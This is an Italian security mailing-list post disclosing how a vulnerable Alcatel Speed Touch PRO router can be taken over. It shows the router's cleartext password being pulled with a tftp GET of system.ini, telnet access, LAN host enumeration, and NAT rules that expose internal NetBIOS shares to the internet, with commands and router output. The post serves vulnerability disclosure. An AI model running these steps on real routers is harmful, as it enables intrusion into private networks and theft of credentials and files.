To: ml@sikurezza.org Soggetto: Utilizzo dei bug dell'alcatel STPRO Mittente: Stefano Chiccarelli Sfruttando la backdoor e i problemi di configurazione dell'ALCATEL Speed Touch PRO e' possibile una volta avuto accesso al router sferrare una serie di attacchi alla rete interna attraverso le funzionalita' di NAT/PAT che il router stesso mette a disposizione. Iniziamo dall'inizio a descrivere un ipotetico attacco di un cracker. Chiaramente c'e' bisogno di trovare degli ALCATEL Speed Touch PRO vulnerabili, per fare questo ci sono molti modi, uno di questi puo' essere fare una scansione alla porta 23 sulle subnet dei carrier che offrono questo modem in comodato. (ma ce ne possono essere tanti altri) Una volta che sappiamo che un router risponde al telnet vuol dire in maniera inequivocabile che il comando ip config firewalling e' settato su off quindi accetta connessioni da internet sull'ip dell'interfaccia wan. A questo punto possiamo utilizzare la backdoor di Shimomura o usare il tftp per scaricare la password del router stesso con il comando tftp -i IPBERSAGLIO GET active/system.ini e leggere all'interno del file la password in chiaro. A questo punto basta fare un telnet e collegarsi al router remoto, una volta dentro cosa si puo' fare? Anche qui le cose da fare sono tantissime, quello che ci interessa pero' e' trovare un modo per raggiungere le macchine sulla lan dietro al router, al 90% questo tipo di contratti sono stati fatti per Small Business Office o per utilizzo domestico quindi e' molto probabile dietro al router ci siano delle workstation Microsoft e una lan NetBIOS attiva. A questo punto quindi possiamo renderci conto delle macchine presenti sulla lan in quel momento andando nel menu del router IP> e digitando arplist neuro@neuroneuro$ --> telnet router Trying 192.168.0.1... Connected to router. Escape character is '^]'. User : SpeedTouch (00-90-D0-04-47-0D) Password : ######--------------------------------------------------------------- * * ______ * ___/_____/\ * / /\\ ALCATEL ADSL MODEM * _____/__ / \\ * _/ /\_____/___ \ Version 3.2 * // / \ /\ \ * _______//_______/ \ / _\/______ Copyright 1999-2000. * / / \ \ / / / /\ * __/ / \ \ / / / / _\__ * / / / \_______\/ / / / / /\ * /_/______/___________________/ /________/ /___/ \ * \ \ \ ___________ \ \ \ \ \ / * \_\ \ / /\ \ \ \ \___\/ * \ \/ / \ \ \ \ / * \_____/ / \ \ \________\/ * /__________/ \ \ / * \ _____ \ /_____\/ * \ / /\ \ / * /____/ \ \ / * \ \ /___\/ * \____\/ * ----------------------------------------------------------------------- =>ip [ip]=>arplist Intf IP-address HW-address Type eth0 192.168.0.2 00:00:b4:59:36:6c DYNAMIC eth0 192.168.0.3 00:c0:26:ca:25:5e DYNAMIC [ip]=> Sara' anche possibile controllare la tabella di routing per capire l'indirizzamento della lan interna ci aiutera' in questo il comando rtlist [ip]=>rtlist Destination Source Gateway Intf Mtrc 192.168.0.0/24 192.168.0.0/24 192.168.0.1 eth0 1 192.168.0.1/32 0.0.0.0/0 192.168.0.1 eth0 0 217.59.X.XXX/32 0.0.0.0/0 217.59.X.XXX cip0 0 127.0.0.1/32 0.0.0.0/0 127.0.0.1 loop 0 217.59.X.XXX/30 0.0.0.0/0 217.59.X.XXX cip0 1 192.168.0.0/24 0.0.0.0/0 192.168.0.1 eth0 1 0.0.0.0/0 0.0.0.0/0 217.59.X.XXX cip0 1 A questo punto possiamo provare a pingare le macchine per vedere quali macchine sono accese (sicuramente quelle che l'arplist ci mostra ma e' possibile che ce ne siano anche altre non mostrate dall'arplist) [ip]=>:ip ping addr=192.168.0.2 count=10 size=100 interval=100 listen=off 108 bytes from 192.168.0.2: icmp_seq=0 time=2511 us 108 bytes from 192.168.0.2: icmp_seq=1 time=2337 us 108 bytes from 192.168.0.2: icmp_seq=2 time=2393 us 108 bytes from 192.168.0.2: icmp_seq=3 time=2314 us 108 bytes from 192.168.0.2: icmp_seq=4 time=2324 us 108 bytes from 192.168.0.2: icmp_seq=5 time=2333 us 108 bytes from 192.168.0.2: icmp_seq=6 time=2453 us 108 bytes from 192.168.0.2: icmp_seq=7 time=2350 us 108 bytes from 192.168.0.2: icmp_seq=8 time=2299 us 108 bytes from 192.168.0.2: icmp_seq=9 time=2353 us ora sappiamo che la macchina 192.168.0.2 della lan e' accesa, allora utilizziamo la possibilita' di redirigere le porte tramite NAT/PAT per accedere alla macchina 192.168.0.2 della lan. Ma prima vediamo quali regole di NAT sono impostate e se ci sono redirect gia' presenti. Il comando nat list ci aiuta in questo. [nat]=>list Indx Prot Inside-address:Port Outside-address:Port Foreign-address:Port Flgs Expir State Control 9 6 192.168.0.3:22 217.59.9.154:22 0.0.0.0:0 19 60 1 10 6 192.168.0.2:6699 217.59.9.154:6699 0.0.0.0:0 19 8 9 11 6 192.168.0.3:113 217.59.9.154:113 0.0.0.0:0 19 8 9 [ndr Nel caso della mia lan come vedete io ho 3 redirect uno per ssh uno per auth e uno per napster ] A questo punto creiamo ad esempio il redirect per le porte del NetBIOS in maniera da mappare staticamente l'ip pubblico del router con l'ip privato della macchina bersaglio. questo si fa' con il comando NAT> create [nat]=> create protocol=tcp inside_addr=192.168.0.2:137 outside_addr=217.59.9.154:137 Le porte da mappare sono 137 tcp/udp 138 tcp/udp 139 tcp/udp Abbiamo ottenuto l'effetto di esporre ai normali attacchi NetBIOS una macchina normalmente irraggiungibile da internet. Quindi dalla macchina dell'attacker sara' possibile aprire le directory shared della macchina della lan con IP privati. \\ipdelrouteralcatel E' molto comune condividere interi hard disk su una lan privata quando ci si sente sicuri che dall'esterno non si possa accedere. Ma comunque la sicurezza implementabile da windows95/98/ME sulla condivisione delle direcotry e' nota, quindi anche se ci fossero delle password questo non sarebbe affatto un problema per il cracker. Questo e' solo un esempio molto comune e testato di come si possano "bucare" delle macchine con IP privato che si trovano dietro ad un ALCATEL Speed Touch PRO vulnerabile. Chiaramente si possono rimappare TUTTE le porte tcp/udp quindi in base alle macchine che troveremo dietro al router potremmo usare le porte per quei servizi che sappiamo vulnerabili, l'unico limite e' la fantasia e la competenza del cracker. Ringraziamenti: :: Franko21 :: rubik :: Andrea Monti :: Metro Olografix Member :: ************************************* * Stefano Chiccarelli * * Presidente Metro Olografix * * /"\ * * \ / ASCII RIBBON CAMPAIGN * * X AGAINST HTML MAIL * * / \ * ************************************* ________________________________________________________ http://www.sikurezza.org - Italian Security Mailing List $Id: sik2.txt,v 1.1.1.1 2002/04/13 16:16:31 neuro Exp $